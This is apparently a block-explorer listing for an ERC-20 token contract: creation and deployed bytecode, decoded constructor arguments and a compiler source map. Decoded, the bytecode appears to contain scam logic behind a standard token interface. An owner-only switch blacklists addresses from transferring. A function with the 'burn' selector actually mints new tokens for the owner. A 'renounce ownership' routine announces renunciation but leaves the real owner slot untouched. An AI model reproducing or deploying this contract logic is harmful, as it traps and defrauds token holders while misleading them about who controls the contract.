65b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112f291906116d0565b60405180910390a36113066000838361130f565b5050565b505050565b505050565b60008135905061132381611a32565b92915050565b60008135905061133881611a49565b92915050565b60006020828403121561135057600080fd5b600061135e84828501611314565b91505092915050565b6000806040838503121561137a57600080fd5b600061138885828601611314565b925050602061139985828601611314565b9150509250929050565b6000806000606084860312156113b857600080fd5b60006113c686828701611314565b93505060206113d786828701611314565b92505060406113e886828701611329565b9150509250925092565b6000806040838503121561140557600080fd5b600061141385828601611314565b925050602061142485828601611329565b9150509250929050565b61143781611778565b82525050565b6114468161178a565b82525050565b600061145782611706565b6114618185611711565b93506114718185602086016117cd565b61147a81611890565b840191505092915050565b6000611492602283611711565b915061149d826118a1565b604082019050919050565b60006114b5602883611711565b91506114c0826118f0565b604082019050919050565b60006114d8602083611711565b91506114e38261193f565b602082019050919050565b60006114fb600083611711565b915061150682611968565b600082019050919050565b600061151e602483611711565b91506115298261196b565b604082019050919050565b6000611541602583611711565b915061154c826119ba565b604082019050919050565b6000611564601f83611711565b915061156f82611a09565b602082019050919050565b611583816117b6565b82525050565b611592816117c0565b82525050565b60006020820190506115ad600083018461142e565b92915050565b60006020820190506115c8600083018461143d565b92915050565b600060208201905081810360008301526115e8818461144c565b905092915050565b6000602082019050818103600083015261160981611485565b9050919050565b60006020820190508181036000830152611629816114a8565b9050919050565b60006020820190508181036000830152611649816114cb565b9050919050565b60006020820190508181036000830152611669816114ee565b9050919050565b6000602082019050818103600083015261168981611511565b9050919050565b600060208201905081810360008301526116a981611534565b9050919050565b600060208201905081810360008301526116c981611557565b9050919050565b60006020820190506116e5600083018461157a565b92915050565b60006020820190506117006000830184611589565b92915050565b600081519050919050565b600082825260208201905092915050565b600061172d826117b6565b9150611738836117b6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561176d5761176c611832565b5b828201905092915050565b600061178382611796565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156117eb5780820151818401526020810190506117d0565b838111156117fa576000848401525b50505050565b6000600282049050600182168061181857607f821691505b6020821081141561182c5761182b611861565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611a3b81611778565b8114611a4657600080fd5b50565b611a52816117b6565b8114611a5d57600080fd5b5056fea2646970667358221220b56636e7469f6098dc46c9cc7ebe0b0edc652646ecdf8afa62b952d6b504552064736f6c634300080100330000000000000000000000008209f12055e619c9fcb5d037d8046dc87ac0288c00000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000000000000000000000000003635c9adc5dea00000

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a457c2d711610071578063a457c2d7146102a8578063a9059cbb146102d8578063c0d611e514610308578063dd62ed3e14610326578063fef63a92146103565761010b565b8063715018a6146102465780638f84aa091461025057806395d89b411461026e5780639dc29fac1461028c5761010b565b806323b872dd116100de57806323b872dd14610198578063313ce567146101c857806339509351146101e657806370a08231146102165761010b565b806306fdde031461011057806307eaa6d41461012e578063095ea7b31461014a57806318160ddd1461017a575b600080fd5b610118610386565b60405161012591906115ce565b60405180910390f35b6101486004803603810190610143919061133e565b610418565b005b610164600480360381019061015f91906113f2565b6105bf565b60405161017191906115b3565b60405180910390f35b6101826105dd565b60405161018f91906116d0565b60405180910390f35b6101b260048036038101906101ad91906113a3565b6105e7565b6040516101bf91906115b3565b60405180910390f35b6101d06106df565b6040516101dd91906116eb565b60405180910390f35b61020060048036038101906101fb91906113f2565b6106f6565b60405161020d91906115b3565b60405180910390f35b610230600480360381019061022b919061133e565b6107a2565b60405161023d91906116d0565b60405180910390f35b61024e6107eb565b005b61025861093f565b6040516102659190611598565b60405180910390f35b610276610969565b60405161028391906115ce565b60405180910390f35b6102a660048036038101906102a191906113f2565b6109fb565b005b6102c260048036038101906102bd91906113f2565b610a09565b6040516102cf91906115b3565b60405180910390f35b6102f260048036038101906102ed91906113f2565b610af4565b6040516102ff91906115b3565b60405180910390f35b610310610b12565b60405161031d91906116d0565b60405180910390f35b610340600480360381019061033b9190611367565b610b3a565b60405161034d91906116d0565b60405180910390f35b610370600480360381019061036b919061133e565b610bc1565b60405161037d91906115b3565b60405180910390f35b60606006805461039590611800565b80601f01602080910402602001604051908101604052809291908181526020018280546103c190611800565b801561040e5780601f106103e35761010080835404028352916020019161040e565b820191906000526020600020905b8154815290600101906020018083116103f157829003601f168201915b5050505050905090565b610420610c17565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104a490611630565b60405180910390fd5b60001515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610563576001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506105bc565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60006105d36105cc610c17565b8484610c1f565b6001905092915050565b6000600554905090565b60006105f4848484610dea565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061063f610c17565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156106bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b690611610565b60405180910390fd5b6106d3856106cb610c17565b858403610c1f565b60019150509392505050565b6000600860009054906101000a900460ff16905090565b6000610798610703610c17565b848460046000610711610c17565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107939190611722565b610c1f565b6001905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107f3610c17565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610880576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087790611630565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461097890611800565b80601f01602080910402602001604051908101604052809291908181526020018280546109a490611800565b80156109f15780601f106109c6576101008083540402835291602001916109f1565b820191906000526020600020905b8154815290600101906020018083116109d457829003601f168201915b5050505050905090565b610a058282611114565b5050565b60008060046000610a18610c17565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acc90611690565b60405180910390fd5b610ae9610ae0610c17565b85858403610c1f565b600191505092915050565b6000610b08610b01610c17565b8484610dea565b6001905092915050565b60007f00000000000000000000000000000000000000000000003635c9adc5dea00000905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8690611670565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf6906115f0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ddd91906116d0565b60405180910390a3505050565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610e8b5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610f0057600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610eff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef690611650565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6790611650565b60405180910390fd5b610f7b83838361130a565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611002576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff990611650565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110979190611722565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110fb91906116d0565b60405180910390a361110e84848461130f565b50505050565b61111c610c17565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090611630565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611219576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611210906116b0565b60405180910390fd5b6112256000838361130a565b80600560008282546112379190611722565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461128d9190611722565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112f291906116d0565b60405180910390a36113066000838361130f565b5050565b505050565b505050565b60008135905061132381611a32565b92915050565b60008135905061133881611a49565b92915050565b60006020828403121561135057600080fd5b600061135e84828501611314565b91505092915050565b6000806040838503121561137a57600080fd5b600061138885828601611314565b925050602061139985828601611314565b9150509250929050565b6000806000606084860312156113b857600080fd5b60006113c686828701611314565b93505060206113d786828701611314565b92505060406113e886828701611329565b9150509250925092565b6000806040838503121561140557600080fd5b600061141385828601611314565b925050602061142485828601611329565b9150509250929050565b61143781611778565b82525050565b6114468161178a565b82525050565b600061145782611706565b6114618185611711565b93506114718185602086016117cd565b61147a81611890565b840191505092915050565b6000611492602283611711565b915061149d826118a1565b604082019050919050565b60006114b5602883611711565b91506114c0826118f0565b604082019050919050565b60006114d8602083611711565b91506114e38261193f565b602082019050919050565b60006114fb600083611711565b915061150682611968565b600082019050919050565b600061151e602483611711565b91506115298261196b565b604082019050919050565b6000611541602583611711565b915061154c826119ba565b604082019050919050565b6000611564601f83611711565b915061156f82611a09565b602082019050919050565b611583816117b6565b82525050565b611592816117c0565b82525050565b60006020820190506115ad600083018461142e565b92915050565b60006020820190506115c8600083018461143d565b92915050565b600060208201905081810360008301526115e8818461144c565b905092915050565b6000602082019050818103600083015261160981611485565b9050919050565b60006020820190508181036000830152611629816114a8565b9050919050565b60006020820190508181036000830152611649816114cb565b9050919050565b60006020820190508181036000830152611669816114ee565b9050919050565b6000602082019050818103600083015261168981611511565b9050919050565b600060208201905081810360008301526116a981611534565b9050919050565b600060208201905081810360008301526116c981611557565b9050919050565b60006020820190506116e5600083018461157a565b92915050565b60006020820190506117006000830184611589565b92915050565b600081519050919050565b600082825260208201905092915050565b600061172d826117b6565b9150611738836117b6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561176d5761176c611832565b5b828201905092915050565b600061178382611796565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156117eb5780820151818401526020810190506117d0565b838111156117fa576000848401525b50505050565b6000600282049050600182168061181857607f821691505b6020821081141561182c5761182b611861565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611a3b81611778565b8114611a4657600080fd5b50565b611a52816117b6565b8114611a5d57600080fd5b5056fea2646970667358221220b56636e7469f6098dc46c9cc7ebe0b0edc652646ecdf8afa62b952d6b504552064736f6c63430008010033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000008209f12055e619c9fcb5d037d8046dc87ac0288c00000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000000000000000000000000003635c9adc5dea00000

-----Decoded View---------------
Arg [0] : _premintOwner (address): 0x8209F12055E619C9fCb5d037D8046dC87Ac0288C
Arg [1] : _premintSupply (uint256): 1000000000000000000000
Arg [2] : _capLimit (uint256): 1000000000000000000000

-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 0000000000000000000000008209f12055e619c9fcb5d037d8046dc87ac0288c
Arg [1] : 00000000000000000000000000000000000000000000003635c9adc5dea00000
Arg [2] : 00000000000000000000000000000000000000000000003635c9adc5dea00000


Deployed Bytecode Sourcemap

341:1140:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2035:100:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5635:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4209:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3162:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4860:490;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2997:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6474:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3333:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2418:155:2;;;:::i;:::-;;2135:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2254:104:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1381:97:3;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7192:411:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3673:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1172:95:3;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3911:151:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5947:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2035:100;2089:13;2122:5;2115:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2035:100;:::o;5635:205::-;1981:12:2;:10;:12::i;:::-;1971:22;;:6;;;;;;;;;;:22;;;1963:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5739:5:0::1;5710:34;;:17;:25;5728:6;5710:25;;;;;;;;;;;;;;;;;;;;;;;;;:34;;;5697:136;;;5775:4;5747:17;:25;5765:6;5747:25;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;5697:136;;;5826:5;5798:17;:25;5816:6;5798:25;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;5697:136;5635:205:::0;:::o;4209:169::-;4292:4;4309:39;4318:12;:10;:12::i;:::-;4332:7;4341:6;4309:8;:39::i;:::-;4366:4;4359:11;;4209:169;;;;:::o;3162:108::-;3223:7;3250:12;;3243:19;;3162:108;:::o;4860:490::-;5000:4;5017:36;5027:6;5035:9;5046:6;5017:9;:36::i;:::-;5066:24;5093:11;:19;5105:6;5093:19;;;;;;;;;;;;;;;:33;5113:12;:10;:12::i;:::-;5093:33;;;;;;;;;;;;;;;;5066:60;;5165:6;5145:16;:26;;5137:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;5252:57;5261:6;5269:12;:10;:12::i;:::-;5302:6;5283:16;:25;5252:8;:57::i;:::-;5338:4;5331:11;;;4860:490;;;;;:::o;2997:100::-;3055:5;3080:9;;;;;;;;;;;3073:16;;2997:100;:::o;6474:215::-;6562:4;6579:80;6588:12;:10;:12::i;:::-;6602:7;6648:10;6611:11;:25;6623:12;:10;:12::i;:::-;6611:25;;;;;;;;;;;;;;;:34;6637:7;6611:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;6579:8;:80::i;:::-;6677:4;6670:11;;6474:215;;;;:::o;3333:127::-;3407:7;3434:9;:18;3444:7;3434:18;;;;;;;;;;;;;;;;3427:25;;3333:127;;;:::o;2418:155:2:-;1981:12;:10;:12::i;:::-;1971:22;;:6;;;;;;;;;;:22;;;1963:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2525:1:::1;2488:40;;2509:6;::::0;::::1;;;;;;;;2488:40;;;;;;;;;;;;2563:1;2539:13;;:26;;;;;;;;;;;;;;;;;;2418:155::o:0;2135:93::-;2180:7;2207:13;;;;;;;;;;;2200:20;;2135:93;:::o;2254:104:0:-;2310:13;2343:7;2336:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2254:104;:::o;1381:97:3:-;1448:22;1454:7;1463:6;1448:5;:22::i;:::-;1381:97;;:::o;7192:411:0:-;7285:4;7302:24;7329:11;:25;7341:12;:10;:12::i;:::-;7329:25;;;;;;;;;;;;;;;:34;7355:7;7329:34;;;;;;;;;;;;;;;;7302:61;;7402:15;7382:16;:35;;7374:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;7495:67;7504:12;:10;:12::i;:::-;7518:7;7546:15;7527:16;:34;7495:8;:67::i;:::-;7591:4;7584:11;;;7192:411;;;;:::o;3673:175::-;3759:4;3776:42;3786:12;:10;:12::i;:::-;3800:9;3811:6;3776:9;:42::i;:::-;3836:4;3829:11;;3673:175;;;;:::o;1172:95:3:-;1221:7;1248:11;1241:18;;1172:95;:::o;3911:151:0:-;4000:7;4027:11;:18;4039:5;4027:18;;;;;;;;;;;;;;;:27;4046:7;4027:27;;;;;;;;;;;;;;;;4020:34;;3911:151;;;;:::o;5947:118::-;6008:4;6032:17;:25;6050:6;6032:25;;;;;;;;;;;;;;;;;;;;;;;;;6025:32;;5947:118;;;:::o;603:98:2:-;656:7;683:10;676:17;;603:98;:::o;10605:344:0:-;10724:1;10707:19;;:5;:19;;;;10699:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10805:1;10786:21;;:7;:21;;;;10778:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10887:6;10857:11;:18;10869:5;10857:18;;;;;;;;;;;;;;;:27;10876:7;10857:27;;;;;;;;;;;;;;;:36;;;;10925:7;10909:32;;10918:5;10909:32;;;10934:6;10909:32;;;;;;:::i;:::-;;;;;;;;10605:344;;;:::o;8093:703::-;8228:17;:25;8246:6;8228:25;;;;;;;;;;;;;;;;;;;;;;;;;:57;;;;8257:17;:28;8275:9;8257:28;;;;;;;;;;;;;;;;;;;;;;;;;8228:57;8215:114;;;8322:1;8304:20;;:6;:20;;;8296:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;8215:114;8369:1;8348:23;;:9;:23;;;;8340:36;;;;;;;;;;;;:::i;:::-;;;;;;;;;8398:47;8419:6;8427:9;8438:6;8398:20;:47::i;:::-;8458:21;8482:9;:17;8492:6;8482:17;;;;;;;;;;;;;;;;8458:41;;8535:6;8518:13;:23;;8510:36;;;;;;;;;;;;:::i;:::-;;;;;;;;;8618:6;8602:13;:22;8582:9;:17;8592:6;8582:17;;;;;;;;;;;;;;;:42;;;;8670:6;8646:9;:20;8656:9;8646:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;8711:9;8694:35;;8703:6;8694:35;;;8722:6;8694:35;;;;;;:::i;:::-;;;;;;;;8742:46;8762:6;8770:9;8781:6;8742:19;:46::i;:::-;8093:703;;;;:::o;9754:409::-;1981:12:2;:10;:12::i;:::-;1971:22;;:6;;;;;;;;;;:22;;;1963:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9867:1:0::1;9848:21;;:7;:21;;;;9840:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;9918:49;9947:1;9951:7;9960:6;9918:20;:49::i;:::-;9996:6;9980:12;;:22;;;;;;;:::i;:::-;;;;;;;;10035:6;10013:9;:18;10023:7;10013:18;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;10078:7;10057:37;;10074:1;10057:37;;;10087:6;10057:37;;;;;;:::i;:::-;;;;;;;;10107:48;10135:1;10139:7;10148:6;10107:19;:48::i;:::-;9754:409:::0;;:::o;11549:125::-;;;;:::o;12278:124::-;;;;:::o;7:139:4:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;;;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;;;;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:118::-;2036:24;2054:5;2036:24;:::i;:::-;2031:3;2024:37;2014:53;;:::o;2073:109::-;2154:21;2169:5;2154:21;:::i;:::-;2149:3;2142:34;2132:50;;:::o;2188:364::-;;2304:39;2337:5;2304:39;:::i;:::-;2359:71;2423:6;2418:3;2359:71;:::i;:::-;2352:78;;2439:52;2484:6;2479:3;2472:4;2465:5;2461:16;2439:52;:::i;:::-;2516:29;2538:6;2516:29;:::i;:::-;2511:3;2507:39;2500:46;;2280:272;;;;;:::o;2558:366::-;;2721:67;2785:2;2780:3;2721:67;:::i;:::-;2714:74;;2797:93;2886:3;2797:93;:::i;:::-;2915:2;2910:3;2906:12;2899:19;;2704:220;;;:::o;2930:366::-;;3093:67;3157:2;3152:3;3093:67;:::i;:::-;3086:74;;3169:93;3258:3;3169:93;:::i;:::-;3287:2;3282:3;3278:12;3271:19;;3076:220;;;:::o;3302:366::-;;3465:67;3529:2;3524:3;3465:67;:::i;:::-;3458:74;;3541:93;3630:3;3541:93;:::i;:::-;3659:2;3654:3;3650:12;3643:19;;3448:220;;;:::o;3674:364::-;;3837:66;3901:1;3896:3;3837:66;:::i;:::-;3830:73;;3912:93;4001:3;3912:93;:::i;:::-;4030:1;4025:3;4021:11;4014:18;;3820:218;;;:::o;4044:366::-;;4207:67;4271:2;4266:3;4207:67;:::i;:::-;4200:74;;4283:93;4372:3;4283:93;:::i;:::-;4401:2;4396:3;4392:12;4385:19;;4190:220;;;:::o;4416:366::-;;4579:67;4643:2;4638:3;4579:67;:::i;:::-;4572:74;;4655:93;4744:3;4655:93;:::i;:::-;4773:2;4768:3;4764:12;4757:19;;4562:220;;;:::o;4788:366::-;;4951:67;5015:2;5010:3;4951:67;:::i;:::-;4944:74;;5027:93;5116:3;5027:93;:::i;:::-;5145:2;5140:3;5136:12;5129:19;;4934:220;;;:::o;5160:118::-;5247:24;5265:5;5247:24;:::i;:::-;5242:3;5235:37;5225:53;;:::o;5284:112::-;5367:22;5383:5;5367:22;:::i;:::-;5362:3;5355:35;5345:51;;:::o;5402:222::-;;5533:2;5522:9;5518:18;5510:26;;5546:71;5614:1;5603:9;5599:17;5590:6;5546:71;:::i;:::-;5500:124;;;;:::o;5630:210::-;;5755:2;5744:9;5740:18;5732:26;;5768:65;5830:1;5819:9;5815:17;5806:6;5768:65;:::i;:::-;5722:118;;;;:::o;5846:313::-;;5997:2;5986:9;5982:18;5974:26;;6046:9;6040:4;6036:20;6032:1;6021:9;6017:17;6010:47;6074:78;6147:4;6138:6;6074:78;:::i;:::-;6066:86;;5964:195;;;;:::o;6165:419::-;;6369:2;6358:9;6354:18;6346:26;;6418:9;6412:4;6408:20;6404:1;6393:9;6389:17;6382:47;6446:131;6572:4;6446:131;:::i;:::-;6438:139;;6336:248;;;:::o;6590:419::-;;6794:2;6783:9;6779:18;6771:26;;6843:9;6837:4;6833:20;6829:1;6818:9;6814:17;6807:47;6871:131;6997:4;6871:131;:::i;:::-;6863:139;;6761:248;;;:::o;7015:419::-;;7219:2;7208:9;7204:18;7196:26;;7268:9;7262:4;7258:20;7254:1;7243:9;7239:17;7232:47;7296:131;7422:4;7296:131;:::i;:::-;7288:139;;7186:248;;;:::o;7440:419::-;;7644:2;7633:9;7629:18;7621:26;;7693:9;7687:4;7683:20;7679:1;7668:9;7664:17;7657:47;7721:131;7847:4;7721:131;:::i;:::-;7713:139;;7611:248;;;:::o;7865:419::-;;8069:2;8058:9;8054:18;8046:26;;8118:9;8112:4;8108:20;8104:1;8093:9;8089:17;8082:47;8146:131;8272:4;8146:131;:::i;:::-;8138:139;;8036:248;;;:::o;8290:419::-;;8494:2;8483:9;8479:18;8471:26;;8543:9;8537:4;8533:20;8529:1;8518:9;8514:17;8507: